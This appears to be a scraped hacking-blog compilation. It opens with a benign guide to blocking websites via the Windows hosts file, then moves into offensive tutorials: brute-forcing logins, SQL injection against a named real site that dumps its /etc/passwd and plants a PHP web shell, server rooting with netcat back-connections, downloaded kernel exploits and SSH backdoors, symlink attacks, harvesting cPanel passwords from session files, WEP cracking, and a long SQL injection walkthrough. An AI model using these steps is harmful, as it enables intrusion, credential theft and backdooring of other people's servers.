1. Windows 7 Hosts File is located at: C:\Windows\System32\drivers\etc (Assuming C Drive is your Operating System Drive). Copy this location:

* For other Windows Operating System viz. Windows 95/98/ME, Windows NT/2000, Windows XP (Both Home & Professional Editions) and Windows Vista (Home Basic / Home Premium / Business / Ultimate), the Hosts File Location will remain same i.e. C:\Windows\System32\drivers\etc

2. Click on Start Button >> All Programs >> Accessories and look for Notepad.

3. Now Right Click on Notepad and Select Run as Administrator:

4. Click Open… (CTRL + O) in Notepad and Paste the Hosts File Address in it >> Press Enter and Select All Files from the Drop Down Menu >> Click Open Button:

As soon as you click on Open Button, the Hosts File will open in Notepad. Now, as shown in the Video above, enter following lines at the bottom of the Hosts File:

127.0.0.1<HIT TAB KEY>facebook.com<SPACE>www.facebook.com

For blocking Multiple Websites, enter following lines at the bottom of Windows Hosts File:

127.0.0.1<HIT TAB KEY>facebook.com<SPACE>www.facebook.com

127.0.0.1<HIT TAB KEY>alexa.com<SPACE>www.alexa.com

127.0.0.1<HIT TAB KEY>yahoo.com<SPACE>www.yahoo.com

… And So On …

* Here facebook.com, alexa.com and yahoo.com are taken as an Example.

5. Now, click on File Menu and Hit Save Option to make changes in the Hosts File of Windows 7.

The URL/Website Address(es) you enter after 127.0.0.1 (Loopback IP Address ) in Windows Hosts File, will NOT open in any Browser, unless you undo the changes.

Note:

1. Notepad in Administrator Mode in Windows 7 can ONLY Save the changes you made in Windows Hosts File. You may not be able to Save Windows Hosts File, if you run Notepad in default mode
2. In Windows Vista, if you get a UAC Prompt click Continue or if you get an Error while modifying Windows Hosts File read THIS  Article from Microsoft
3. Since there’s No Administrator Mode in Windows 95/98/ME, Windows NT/2000 and Windows XP (Both Home & Professional Editions) Operating Systems, you can edit the Hosts File normally using Notepad
4. There are many softwares available on the Internet (including Firewall) which can easily block access to unwanted websites, although Advance Users can easily end the Process/Process Tree of these Softwares by means of Windows Task Manager or other software available on the internet. Blocking Websites using Windows Hosts File is a lesser known trick
5. Allot Limited (Standard User) and Guest Accounts to other users who uses your PC, this will prevent them from editing Windows Hosts File (atleast in Windows 7), as it requires Administrator Password
6. Some Security Softwares may not allow you to change/alter Windows Hosts File. So either Follow their prompts or temporarily disable them.

READMORE

How To Hack Website Login Using Burute Force Add-one Fireforce

So Friend I am Gonna Tech You How To hack Website Logins Using BurteForce Tool Fireforce

This Tool Is Very Simple To Use..

What Is FireFOrce Fireforce is a Firefox extension designed to perform brute-force attacks on GET and POST forms.

1.STep---->>>>>> Just Download Fireforce

[ Download ]

2.Step---->>>>>> Download And Install In Fireforce

3.Step---->>>>>> Search Any Login Page I am Using Blind String In My Password List

Admin Is Username And Password In Dictionary All Blind String In One Text File

You Can See The Screen Shot Here

Pic 1



Type Username In Admin You Can Use Anything Witch One Is Working I am Using Admin Becoz Admin Is Velid UserName

Now Rightclick In Password Box Select Fireforce

I am Using Dictionary Attack

Pic 2 Found Password admin'-- <<<<<<Blind String



wait For Cracking

Pic 3 Successfully Login



Thanks...........
Regard Yogesh Kashyap

To Short And SImple Tutorial

READMORE

[TuT]Remove Cpalead And Others Surveys[TuT]

Method 1.
Disable Javascript in browser, this might cause a few inconveniences, but it’s a good option if you don’t have administrative rights to edit windows hosts file.

Method 2.
Open notepad(choose to run as administrator), edit this file: %SystemRoot%\system32\drivers\etc\hosts
Hosts is a file without extension, add the following lines:
127.0.0.1 cpalead.com
127.0.0.1 tracking1o1.com

and that’s it.

If you don’t plan on visiting any survey ads, you can block other survey ad sites, by adding the following:

127.0.0.1 adultaccessnow.com
127.0.0.1 adscendmedia.com
127.0.0.1 oocee.com
127.0.0.1 perfecttracking.com
127.0.0.1 cpalock.com
127.0.0.1 dollarade.com
127.0.0.1 blackhatcodebreaker.com
127.0.0.1 instantdollarz.com
127.0.0.1 leadbolt.net
127.0.0.1 pointclicktrack.com

this will block the sites above from our computer.

READMORE

[TUT] Uploading Shell Without Getting into Admin Pane

- This Tutorial is not N00b friendly - If you use Tools for SQL injection don't bother reading this -




Vulnerable Link :
Code:
http://www.trends-in-newsrooms.org/articles.php?id=
There is total 14 Columns and i took 1 as visible
Code:
http://www.trends-in-newsrooms.org/artic...,4,5,6,7--

now try to see if you can load_file in the visible column.. We can read files in this server using this command.

Usually you can exec this command if you have access to table mysql.users--

example : - 1 union all select load_file('filetoload'),2,3,4,5,6 from mysql.users--


Ok now lets take the case of this website.. lets try to read its /etc/passwd so we can get the actual path where the website is located.
Code:
http://www.trends-in-newsrooms.org/articles.php?id=1+and+2=1+union+all+select%20load_file%28%27/etc/passwd%27%29,2,3,4,5,6,7--
The website will display the '/etc/passwd' file.

Code:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh stephane:x:1000:1000:stephane,,,:/home/stephane:/bin/bash sshd:x:100:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false Debian-exim:x:102:104::/var/spool/exim4:/bin/false statd:x:103:65534::/var/lib/nfs:/bin/false identd:x:104:65534::/var/run/identd:/bin/false postfix:x:105:106::/var/spool/postfix:/bin/false postgres:x:106:108:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash sympa:x:107:110:Sympa mailing list manager,,,:/var/lib/sympa:/bin/false ftpd:x:1001:1001::/home/ftp:/bin/nologin juancarlos:x:1002:1002:Juan Carlos Cedillo,,,:/home/juancarlos:/usr/lib/sftp-server clamav:x:108:111::/var/lib/clamav:/bin/false libuuid:x:109:112::/var/lib/libuuid:/bin/sh wanadmin:x:1003:1003:Stephane Karges,,,:/home/wanadmin:/bin/bash aralynn:x:1004:1004:Aralynn McMane,,,:/home/www/vhosts/wan-press.org/httpdocs/nie/downloads/:/usr/lib/sftp-server
/home/www/vhosts/wan-press.org/httpdocs/

Probably this is the path where the site seems to be located, which i am not very sure although... Lets see if we can write a file in this directory..

I dont want any numbers to be written on the file i am going to write into the server. so i am gonna change 2,3,4,5,6,7 to 'null'

Code:
http://www.trends-in-newsrooms.org/artic...c.php%27--
Fayul~ we get a response.


Code:
Can't create/write to file '/home/www/vhosts/wan-press.org/httpdocs/epic.php' (Errcode: 13)
It means the path is not chmod to 777 that we can write any file there or we don't have permissions to write into another website using mysql. Okay lets try writing it somewhere else.


Code:
http://www.trends-in-newsrooms.org/artic...all+select 'L33t~cyb3r_***~was~here',null,null,null,null,null,null+into+outfile+'/var/tmp/fayul'--
Page loads fine, Now check..

Code:
http://www.trends-in-newsrooms.org/artic...,4,5,6,7--
Site will display "l33t~cyb3r_***~was~here"

Similarly, if you can find path of this website you can write a php backdoor. Replace l33t cyb3r_*** was here with..



Shell Code :
Code:
'<? system($_REQUEST['cmd']); ?>'
After you upload to path of site succesfully you can upload your shell by going to site



Code:
http://www.site.com/pathtoyourbackdoor/lol.php?cmd=ls -la
__________________

READMORE

Learn Root - Totally Explaind :p

#So Lets Start...

These are Some Basic Questions asked by myself as a n00b

# What is rooting ?
A. Getting access to the user => "root", the main admin of the site.


# What is the need of rooting ?
A. Getting *** admin privillages of Servers


Things you need



# A Shell on a Website
# An Exploit
# Log cleaner
# Ssh Backdoor
# Netcat
# A Brain

Simply you can seach on http://www.google.com for these, except BRAIN and SHELL


Getting Back Connection to the servers


Open command prompt, and go to NetCat Path, Type
"cd netcat.exe"

ok Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like "WSO 2.3" or Any other
thats your choice....

Specify your "ip & port as 2121". press connect, now you'll get a shell to the server, you can give commands to the server through that shell.

now came back to netcat and type "nc -l -v -p 2121"

it will give you this output:
Code:
c:\netcat>nc -l -v -p 2121
listening on [any] 2121 ...


Getting a Right exploit for the servers


Type : Uname -a & hit enter.
It'll look something like this:

Code:
[admin@www.target.com /home/saijyoti/public_html/cgi-bin]$ uname -a
Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux

You have noted, It shows the kernal version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.

You need to find a perfect exploit for it. you can find them at:-
$ Exploit-db.com
$ Packetstormsecurity.org
$ Th3-0utl4ws.com
$ Leetupload.com


Compiling & executing exploits


Now I've got a exploit, & it is written in C. So I can't execute it by just uploading. but I need to compile it.

Before proceeding further, Cd into the tmp directory, because it is always writable. So type: Cd /home/XXXXX/public_html/tmp
// The path may be different, replace it with yours.

So first I'll get the exploit on the server, So I type : Wget http://exploitsite.net/2010-exploits/exploit.c
// Note: There is no such site, I'm just taking it to show you.
It'll look something Like this:-

Code:
admin@www.target.com /home/target_usernemr/public_html/tmp]$ wget http://exploitsite.net/2010-exploits/exploit.c
--2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
Resolving www.exploitsite.net... 199.58.192.192
Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15088 (15K) [text/x-csrc]
Saving to: `exploit.c'


now change the permission of the exploit to 777.
Type: "Chmod 777 exploit.c"

Now the exploit is On my server, I just need to compile & execute it.
So, I'll give the command: "gcc -o exploit exploit.c"
It'll compile & save the exploit as >> exploit

Next step is to execute it So we'll type: "./exploit"


here it'll show different process...
: #
: #
got root you m0f0 !! [<example]


Now it say got root. Let's Check is it true,
Type: "whoami"

then it will say "root"

like: uid=0(root) gid=0(root) groups=0(root)

type "su" to get full privilages !


Installing Backdoors

type: "Wget http://www.urlofbackdoor.com/sshdoor.zip"


Then Type,
Unzip Sshdoor.zip
Then, => Cd sshdoor
Then type, ./run pass port
^ replace pass with your password, & a port.

Now connect with putty & enjoy root privileges.


Methods to execute exploits written in other languages


C exploit

----------------------
gcc -o exploit exploit.c
chmod +x exploit
./exploit
----------------------

Perl Exploits

---------------
perl exploit.pl
---------------

Python

------------------
python exploit.py
------------------

php

-----------------
php exploit.php
-----------------

zip

----------------
unzip exploit.zip
./run
----------------

READMORE

WEP Cracking, FBI Style( In Just 3 Minutes ) !

Okay, before we begin, I give you Hungry Hacker´s fun facts on WEP.
FUN FACTS:
-WEP stands for Wired Equivalent Privacy
-WEP is used to secure wireless networks from eavesdroppers
-WEP usually takes hours to crack
WEP has always been a long and tedious job, untill recently, when two FBI agents demonstrated how it´s possible to crack WEP in under 4 minutes (3 to be exact).
Here is how they did it:
1. Run Kismet to find your target network. Get the SSID and the channel.
2. Run Airodump and start capturing data.
3. With Aireplay, start replaying a packet on the target network. (You can find a ‘good packet’ by looking at the BSSID MAC on Kismet and comparing it to the captured packet’s BSSID MAC).
4. Watch as Airodump goes crazy with new IVs. Thanks to Aireplay.
5. Stop Airodump when you have about 1,000 IVs.
6. Run Aircrack on the captured file.
7. You should see the WEP key infront of you now.


PROGRAMS USED:
-Kismet
Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system.
It is designed for Linux.
You can download it at www.kismetwireless.net
A windows version can be downloaded at http://www.renderlab.net/projects/wrt54g/kiswin.html

-Aircrack (Includes Airodump, Aireplay, Aircrack and optional Airdecap for decrypting WEP/WPA capture files)

Aircrack is the 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured with airodump.

Airdecap is used to decrypt WEP/WPA capture files.

Airmon can be used to configure the wireless card.

Aireplay is used to inject frames.

Airodump is used for packet capturing of raw 802.11 frames and is particularly suitable for collecting

WEP IVs (initialization vectors) for the intent of using them with aircrack-ng.

Download the whole suit at www.aircrack-ng.org
Av fun and enjoy,

READMORE

Top 10 Tricks to exploit SQL Server Systems

Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.

1. Direct connections via the Internet

These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield’s Port Report shows just how many systems are sitting out there waiting to be attacked. I don’t understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.

2. Vulnerability scanning

Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.’s NGSSquirrel for SQL Server (for database-specific scanning). They’re easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

Figure 1: Common SQL injection vulnerabilities found using WebInspect.

READMORE

Hack Web With ( Symlink ) tutorial

1 .we have a shell in a linux server and is Safe Mode OFF , if its not off Off put the file php.ini , and Disable Functions : None

Code:
http://www.website.com/shell.php
and directory :

/home/ueb/public_html/
2 . create a directory and name it "r00t" with shell with this comand in the "Command Execution"

mkdir r00t

3 . now we have to go in the directory :

Code:
/home/ueb/public_html/r00t
4 . we write this code in notepad in ouer compurer and save ti as . htaccess this is for allow us to make symlink and reed php files in server

Code:
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php
we save the file as "All Files" name it whatever .htaccess

5 . in this file .htaccess this file will be upload at the server in the directory " "r00t" we mak this in the option Upload on shell.
we make sure that we upload .htaccess in the root directory and not in other directorys like /home/ueb/public_html/ !

6. After that , we type this commant in shell :

Code:
ln -s / root
with this we will create a Symlink of root in serverit .

7 . now we see what we have done :

Code:
http://website.com/r00t/root/
like we see root of server ! now we go in /home and see the users and other thing we can take the control in others website that are in the same server in the server we have the shell . if in directory /home see that is Forbidden , than change the url like this :

Code:
http://website.com/r00t/root/home/uebiobjektiv/public_html
now see the files in target !
click in the document that have configuration

Code:
website..com/r00t/root/home/uebiobjektiv/public_html/install.php

enjoy hacking....

READMORE

How to get Cpanel password without encrypted

hello friends

now this lesson is very danger and nice


now how to get password the cpanel without encrypted

but u need to have shell access for server or to be root


okay why u need to know cpanel password

for example 90% guys add password his cpanel for his email or LR or alertpay or a lot things


or u can back to the cpanel after the root rest the server from DC

okay lets do the step

now for your info when any guy in server open his cpanel the server save his cpanel with name session so the session be encrypted

and they are be here in this path

Code:
/tmp
/var/tmp
okay lets see


now open shell putty and write this command

Code:
egrep "pass" /var/tmp/sess_* -R | cut -d: -f1 | uniq > /tmp/abh.txt
or this command

Code:
egrep "pass" /tmp/sess_* -R | cut -d: -f1 | uniq > /tmp/abh.txt
after that write this command

Code:
cat /tmp/abh.txt 
u will see like this result

Code:
/var/tmp/sess_763a40298dbcfd4c06bb851af2**598b
/var/tmp/sess_8bb**9841e36b22b2a14bc5b2186cb94
/var/tmp/sess_d898fe399ab2682fcc214274473a5aaa 
okay nice

write this command

Code:
cat /var/tmp/sess_763a40298dbcfd4c06bb851af2**598b
and you will got username and password without encrypt


u see its very easy and very professional to be control and back to server again

READMORE

My SQL Injection Ultimate Tutorial

hI Friends

today im going to show u how to hack website with SQL

Section 1 - Intro to Basic Database Information

Section 2 – Steps to injections

1)Find out how to close the previous statement & find the right comment to use to end the injection

2)Check for magic quotes

3)Check to see if UNION works

4)Find the number of columns

5)Craft a union statement that doesnt cause an error and see which columns are outputted

6)Check the mysql version to see if information_schema is present

7)Get the desired column and table names

8)Get your data



In Part 2: (not done yet)

Section 1 – Advanced injections

1)Check for load_file()

2)Check for into outfile

3)Ddos the mysql server

4)login page injections

5)Possible failures - multi selects

6)Get past magic quotes - where, concat - no load_file

7)The no spaces bug

8)Getting past filters

9)Blind Injection

10)Advanced NOT IN



Before we start anything about inserting SQL commands and stealing data from columns and tables, we need to discuss the basics and all the terms that will be necessary for fully comprehending this paper. So lets begin this with some basic Database Server Info. By the end of this section you should fully understand the basics of databases and how they function on a user interaction level.
Quote:Section 1: Basic Database Information

Database(DB) Servers are servers that hold information. Information is stored in a type of holder called database, which is a certain section of the database that serves as a structured container that stores data in fully organized subsections which enable the quick and efficient withdrawal or insertion of data..

DB Servers can have many databases, each with a different use, such as web, which may hold content displayed or needed for the correct display of webpages open to the public, or intranet, which may include information needed by employees on the inside network of the company, etc. There are many types of database servers, but all are similar which few differences. Some common types are:

1)Mysql

2)MsSQL (Microsoft SQL Server)

3)Oracle

4)Microsoft Access

5)Postgre SQL

etc..

In this tutorial we will discuess one of the two most common, MySql (the other most common is MsSQL, then after that Microsoft Access).

DB's are made up of tables, each which hold a similar type of data such as user info or articles.Tables are made up of columns, which group the data into different types such as usernames, passwords, dates registered, etc.The actual data in a table is in a row, which are inserted into the database and have info for each column in the table - e.g. a username, password, etc


Now, to access data from the server you would use SQL - Standard Query Language. This is similar to programming languages in that it has its own set of functions, operators, and syntax. This lets you select certain data that you want and choose the database, table, and columns that you want to access the rows in.

SQL has a set format for selecting data from the database. It looks like this:

SELECT column1,column2 FROM table

This is basically saying to go to table “table” and gets the data stored in columns “column1” and “column2” for all the rows (since the number is not specified, it takes them all. Ill show you how to specify how many next) .

But what if you only wanted two rows? Yes, you could still retrieve all the rows then sort it out with commands in php, but that’s inneficient. Say you wanted the FIRST 2 usernames & passwords from table users of database webinfo (for injections you usually dont have to put the database, its already selected in the code)You would use

Select column_name FROM table_name limit start,number

column_name is the columns you want. if you want two columns, you would do column1,column2.

table_name is the table. If you want to use a table from a different datbase server, you would do database.table

limit start,number tells the server how many rows you want. Say you want the first 2 rows, you would make start 0 (the first row), and put number 2 for two rows. This would basically say go to the first row (0) and give me the next two rows.

If you wanted the next 2 rows after the first two (but only two, not all 4), you would make start 2 since you already got 2 and make number 2 again. (limit 2,2). This would be saying go to the second row and get me the next two rows. If you wanted all four, youwould make start 0 and number 4.

For injections you dont need to know how to get the data out of the query result in php/asp, which usually involve manipulating the arrays returned by the mysql query, since its already done for you in the code of the script youre trying to hack. You just need to find which columns get displayed to the page, which we will discuss later.

Now, say you want to get the password of a user whose username is "bako123". This is used for login systems to check logins. Then you would use:

Select column_name FROM table_name WHERE column_name = 'Value'

For example, if you wanted to the password column from the table users in a row where the username column is bako123 you would do:

Select password FROM users WHERE username = 'bako123'

This would let you retrieve the password of a certain user, bako123. This can be used in many ways, to retrieve a certain article, user information, a certain persons financial information, etc.

If you wanted to get the password of a user where the name was similar to bako, maybe xbako or bakos or xbakos, you would do

Select password FROM users WHERE username LIKE '%bako%'

The % is a wildchar which basically says there can be text in its place, so in this case there can be text before and after bako since there is a % before and after it.

This leads us to the final discussion in this section: Magic Quotes.

Many database servers (or scripts that access them) have magic quotes enabled. This takes quotes like ', which are needed to specify data like for statements like WHERE username = or in functions we will discuss later that load files with a certain filename. Quotes are needed to specify strings. For example, when we did WHERE username LIKE ‘%bako%’, the quotes told the server that the string to search for was %bako%. If there were no quotes, the server wouldn’t take %bako% as a string, and not only would the search fail but the script would return an error because %bako% is out of place.

Magic Quotes prevents quotes from being used in injections by either making the ' (original quote) to \' (backslashed quote) or '' (double quote).



The \' tells the sql server to take away the meaning of the ' and regard it as a normal character in a string. For example, say you wanted to select a password from a user that had a username Bako's. If you did :

Select password FROM users WHERE username = 'bako's'

the ' in bako's would end the username = value statement and make it WHERE username = 'bako'. Then the s' would be stray and cause an error.

So to sepcify that the ' isnt part of the SQL query syntax but just a normal character in a string like the letter b, you can use \ to take its meaning away and make it be considered a normal character by the server.

Another way the server takes the meaning away from ' is by making it ''. Say you wanted to find a user by the name of bako's again, and you put bako's straight into the script, like

Select password FROM users WHERE username = 'bako's'

the script/server would change it to

Select password FROM users WHERE username = 'bako''s'

which would then create two different strings, bako and s, and since the s is out of place and not in a statment( like SELECT col FROM table WHERE col = value) or function it would cause an error too. There is a way to get around this in certain cases, and it will be discussed later. Now that you know basic info on mysql, time to start Injecting!!
Quote:Section 2: SQL Injecting to Steal Data

In this section we will cover each of the steps to succesfully exploiting SQL Injection vulnerabilities in web scripts that use mysql. We will go step by step and cover each part thoroughly. By the time you finished this section you should fully understand how to take advantage of SQL Injection vulnerabilities and be able to succesfully retrieve data such as usernames, passwords, financial information, and other assorted confidential data from databases that are used by vulnerable scripts. Well start from the very beginning of determining if the script is vulnerable or not.

Subsection 2.1: Check for Injections

So say you find a script like this and you want to see if its vulnerable to SQL Injection:

http://site.com/script.php?id=1

In order to further demonstrate how this works, lets say you do know what query the script forms (which is usually very unlikely in real-world injections). Lets say it looks like this:

Select title,data FROM news WHERE id =

What that would do is get the title and data info from the news table in a row where the column id was 1.

So, what if we added some sql commands to the id in the url? Like this:

http://site.com/script.php?id=1'

The output depends on the script’s quality. If the script filters the input for sql keywords, or converts the id value to an integer so the keywords don’t get through, or takes any other precaution to ensure that you cant insert sql statements into the query, then no sql error would be returned, and the page will either load normally or give you a warning like “Attack Spotted, Your IP Address has been recorded “ or something similar. However, if the script had no filtering whatsoever and just got the user data for id straight from the URL and inserted it right into the MySQL Query, then you would get an error like this:

"MySQL Syntax Error By '1'' In file script.php On Line 7."

Then you would know that the server does NOT filter input to make sure there are no sql commands/syntax in it and DOES NOT make sure the data is only an integer. Since you got an error, you are SURE that this is SQL Injectable!

Keep in mind that now all sites has errors as verbose as this, some sites have simple errors like “INTERNAL ERROR” or “ERROR” that reveal no useful data. However, you can be reasonably sure that its injectable. To be fully sure, move on to the next step. If all the possibilities fail in the next step, then you now chances are that’s not an sql error but some other type of error.

Now That you have found out its injectable, lets go step by step through my MySQL Injection outline.



Subsection 2.2 - Step 1)Find out how to close the previous statement.

To do this we will use an SQL operator "and". This word lets you specify two criterias that the row must match when searching the table. For example, if you have a WHERE clause, such as

Select user from users where password = 'pass123'

and want to select data not only where the password is 'pass123' but also where the email is 'email@m.com', you would use somethings like this:

Select user from users where password = 'pass123' AND email = 'email@m.com'

This basically tells the server, as we had before, select the data from the user column in a row in table users where the password is pass123 AND the email also is email@m.com. If both of these criteria are not matched, then the script moves on to the next row.

Another operator like AND is OR. An example:

Select user from users where password = ‘pass123’ OR email = ‘email@m.com’

This basically says, instead of making sure the column password is pass123 AND the email is email@m.com, it searches for rows where the password is pass123 or the email is email@m.com. Both don’t have to be present for the row to be chosen. One will do, even if the other doesn’t equal the right value.

Now say you added an and 1=1 to any statment, it would load since 1 always equals 1. This can be very useful from an attackers point of view. It can help us find out how to close the previous query AND can help us to determine is magic quotes are enabled.

Lets say you dont know the query, as you wont in most cases. The query could be anything like:

Select user from users where id = '1'

or

Select user from users where id = (1)

or

Select user from users where id = 1

etc...

In order to add more SQL commands to steal our data (***s, usernames, passwords, etc)we need to be able to end the where id = 1 (or '1', (1), etc). To do that we would have to try different possibilities until we get NO error.

In order to add our command, we would also need to know how to get rid of the other data that will come after our injection. For example, if the query was like this:

Select user from users where id = '1'

and we did http://site.com/script.php?id=1' and 1=1 (lets say magic quotes are OFF)

the query would become

Select user from users where id = '1' or 1=1 '

The stray ' after 1=1, which is left over from the '1' before we added our commands, needs to be taken care of or it will cause an error. To do this, we need to use comments to comment out the rest of the code. Two comment operators are /* and --. Sometimes one will cause an error, in that case try the other.

So lets have an full example for this first step in injections.

Say the script was, as i said before:

http://site.com/script.php?id=1

First we would check if its injectable:

http://site.com/script.php?id=1'

It gives - "Error in MySQL Syntax by '1'' in script.php on line 7."

Now you know its injectable. Now lets try to see how to end the WHERE clause.

http://site.com/script.php?id=1 or 1=1 --

This would work if there was no ' surrounded 1, like in

SELECT title FROM news where id = 1

This gives the error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."

Remember, MySQL always surrounds the problem part in the query, in this case 1’ or 1=1 --, with quotes, so don’t let the beginning and end quotes confuse you.

Even though the error shows you that 1 has a ' after it (by '1' or 1=1 --') we will pretend we didnt notice (not all sites have errors like this anyway).

So we would try next

http://site.com/script.php?id=1 or 1=1 /*

same error - "Error in MySQL Syntax by '1' or 1=1 --' in script.php on line 7."

Now lets try ending it with '. so lets do:

http://site.com/script.php?id=1' or 1=1 /*

now we get the error - "Error in MySQL Syntax by '/*'. in script.php on line 7."

This would show us that either /* isnt supported or this sql server is configured so that it needs a */ to close the comment, which would defeat the purpose of commenting out the code. But since it doesnt give us an error about the ' after id=1, we know were close. So we try the next comment opertaor:

http://site.com/script.php?id=1' or 1=1 --

The page loads normally!!! Now we know we need to end the where clause with ' and add -- to the end to add our sql commands!!

Now we move on to the next step:





Subsection 2.3 - Step 2)Check for magic quotes

We know from our example before that magic quotes are off because we used ' to end the WHERE clause and it gave no error, but lets pretend our first try worked, http://site.com/script.php?id=1 or 1=1 --, so were not sure if ‘ causes an error or not. We need to know if magic quotes is on because if we want to use a function like load_file to steal files (discussed later), or choose data where the user = 'admin', we need to be able to use 's, so magic quotes MUST be off.

To find out if theyre on, we would try:

http://site.com/script.php?id=1 or '1'='1' --

If you get an error like:

"Error in MySQL Syntax by '\'1\'=\'1\''. in script.php on line 7."

or

"Error in MySQL Syntax by '''1''=''1'''. in script.php on line 7."

then you would see that magic quotes are on since its adding \s or an extra ' to the ' you put in. Then you would not be able to steal files if load_file was enabled or choose certain data using WHERE ( there is a way to get around it which I will discuss later, but it doesnt work for load_file, just WHERE and other functions discussed later like concat)

Now if you get no error, you know magic_quotes are off and you have an even bigger advantage. That was easy, wasn’t it? Now lets move on.



Subsection 2.4 - Step 3)Check to see if UNION works

UNION is a function in sql that lets us select more data in a single sql statement. This can be very useful since we need to use it in order to select our own data that we want to steal from the database such as passwords or financial data. To illustrate its use further, heres an example. Say the query was:

SELECT user from users where pass = 'pass'

we could do

SELECT user from users where pass = 'pass' UNION select email from emails limit 0,1

And no error would be displayed. You don’t need to know how it helps get data to the page etc since its not needed to get the injection working.

However, in order to get the data from the UNION SELECT displayed, we would need to make sure the first select statement displays no data at all.If the first select statement does return data, it will overwrite the data from the UNION. We will discuss this later. Also, it is always good to use UNION ALL instead of just UNION, it can prevent type mismatch errors.

Now, UNION is only availabe in mysql server versions above 3 (4,5,6 - 6 is the latest, but 5 is most popular). So in order to steal our data, we need to use union (well, we could use blind injection, but thats a pain in the ass), and in order to use union, the mysql version MUST be > 3.

There is a way to check for the mysql version without union ( 1 and (substr(@@version, 1)>3 )- but its more advanced than the general tone of this tutorial at the moment (ill go over it in a bit), so we will use an easier way. This is to try a union select and judge the error. So we could try:

http://site.com/script.php?id=1' UNION ALL SELECT 1 --

If you get an error like :

"Error in MySQL Syntax by 'UNION'. in script.php on line 7."

Then you know that the server is not understanding what UNION is since its getting an error at the UNION keyword. If you got an error like:

"MySQL Error: Select statements must have the same number of columns in script.php on line 7."

Then you know union worked since it realizes that both selects don’t have the same number of columns, therefore showing that it reads two selects, where ones the original and one our union. Even If we got a different error such as a type conversion, as long as its not saying an error by UNION its ok. For some errors that just show “INTERNAL ERROR” or something similar, it’s a good idea to try the next method.

So, if there arent error messages like this, and just errors like INTERNAL ERROR, then you can use

http://site.com/script.php?id=1' and substr(@@version,1)>3 --

Substr is a function that takes a certain character from a string. @@version gives us the mysql version in a string. So say @@version returned 4.1.33-log, subtr would get the 1st letter in it (the ,1 in substr(@@version,1)), which is 4. Then it checks if 4 is greater than 3 (the >3 part). If it is, the page loads normally. If it doesnt, the page will load with no data (you can get a blank page, or a page with the basic template but no actual data, e.g. no title for the news and no actual news).

Now if UNION works, were in business! Time to move on! if not, you can use blind injection, which will be briefly discussed later in Part 2.





Subsection 2.5 - Step 4)Find the number of columns

This section will fix this error we got before- "MySQL Error: Select statements must have the same number of columns in script.php on line 7.". In order to actually use UNION to steal data, we must make union work first with no error at all so the page can load and display the stolen data.

This error occured because the initial SELECT statement and the UNION ALL SELECT statement we injected had a different number of columns.Whenever you have UNION SELECT (or UNION ALL SELECT), the number of columns must ALWAYS match the number of columns in the first SELECT statement, or you’ll get an error. For example, if the query looked like this:

Select user,pass FROM users WHERE userid = 1 UNION ALL SELECT email FROM emails

You will get that error since the first select is selecting two columns (user and pass) while the UNION ALL SELECT is selecting only one (email). So if you did

Select user,pass FROM users WHERE userid = 1 UNION ALL SELECT email,id FROM emails

There wouldnt be an error and the query would execute succesfully since the first select statement is selecting two columns (user and pass) and the second select, the union all select, is also selecting two columns (email and id).

Now to get the number of columns in the first select statment, we can do two things:

1) guess the number of columns till you get it right. For example

http://site.com/script.php?id=1' UNION ALL SELECT null --

(null is a data type that means empty. If you used 1 or 'the' - or in other words, an integer or string, you might get a type mismatch error)

If you get an error like "MySQL Error: Select statements must have the same number of columns in script.php on line 7." then you move on to

http://site.com/script.php?id=1' UNION ALL SELECT null,null --

and continue adding a ,null (an extra column) to the URL until you get no error. Then count the nulls and thats the number of columns!

2) use order by - this is WAY easier.

ORDER BY is a statement in SQL that tells the database server how to order the result. For example, if you did

SELECT title,data FROM news WHERE id=1 ORDER BY news ASC



